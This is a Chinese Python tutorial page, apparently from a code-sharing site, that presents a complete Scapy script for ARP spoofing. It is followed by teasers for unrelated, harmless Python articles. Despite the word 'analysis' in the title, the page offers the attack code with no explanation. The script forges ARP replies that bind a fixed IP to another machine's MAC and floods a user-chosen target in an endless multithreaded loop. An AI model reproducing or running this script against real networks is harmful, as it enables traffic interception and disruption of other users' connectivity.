python发送arp欺骗攻击代码分析

yipeiwu_com6年前Python基础

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

相关文章

简单讲解Python中的字符串与字符串的输入输出

字符串 字符串用''或者""括起来,如果字符串内部有‘或者",需要使用\进行转义 >>> print 'I\'m ok.' I'm ok. 转义字符\可以转义...

详细解读tornado协程(coroutine)原理

详细解读tornado协程(coroutine)原理

tornado中的协程是如何工作的 协程定义 Coroutines are computer program components that generalize subroutin...

Python中isnumeric()方法的使用简介

 isnumeric()方法检查字符串是否仅由数字组成。这种方法只表示为Unicode对象。 注意:要定义一个字符串为Unicode,只需前缀分配'u'引号。以下是示例。 语法...

Python常用内置模块之xml模块(详解)

Python常用内置模块之xml模块(详解)

xml即可扩展标记语言,它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。从结构上,很像HTML超文本标记语言。但他们被设计的目的是不同的,超文本标记语言...

python装饰器相当于函数的调用方式

1. 普通装饰器 import logging 1. foo = use_loggine(foo) def use_loggine(func): def wrapper(...